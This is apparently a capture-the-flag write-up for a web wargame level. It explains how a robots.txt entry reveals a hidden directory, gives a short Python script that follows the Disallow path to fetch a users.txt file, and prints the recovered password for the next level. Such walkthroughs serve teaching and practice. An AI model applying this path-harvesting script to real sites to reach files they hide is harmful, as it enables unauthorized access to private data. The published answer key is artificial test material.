Description

The page source says “No more information leaks!! Not even Google will find it this time…”. This hints at robots.txt, which lists directories excluded from search engine crawling. That directory contains a users.txt file with the password.

Overview

• robots.txt is a convention to tell web crawlers which paths to skip.
• Sensitive directories are sometimes hidden by listing them in robots.txt, which paradoxically publicises their existence.

Solution

robots = requests.get(url + "/robots.txt", auth=("natas3", current_password))
disallowed = [l.split(": ")[1] for l in robots.text.splitlines() if "Disallow" in l][0]
users = requests.get(url + disallowed + "users.txt", auth=("natas3", current_password))
result = [l.split(":")[1] for l in users.text.splitlines() if "natas4" in l][0]

Password

tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm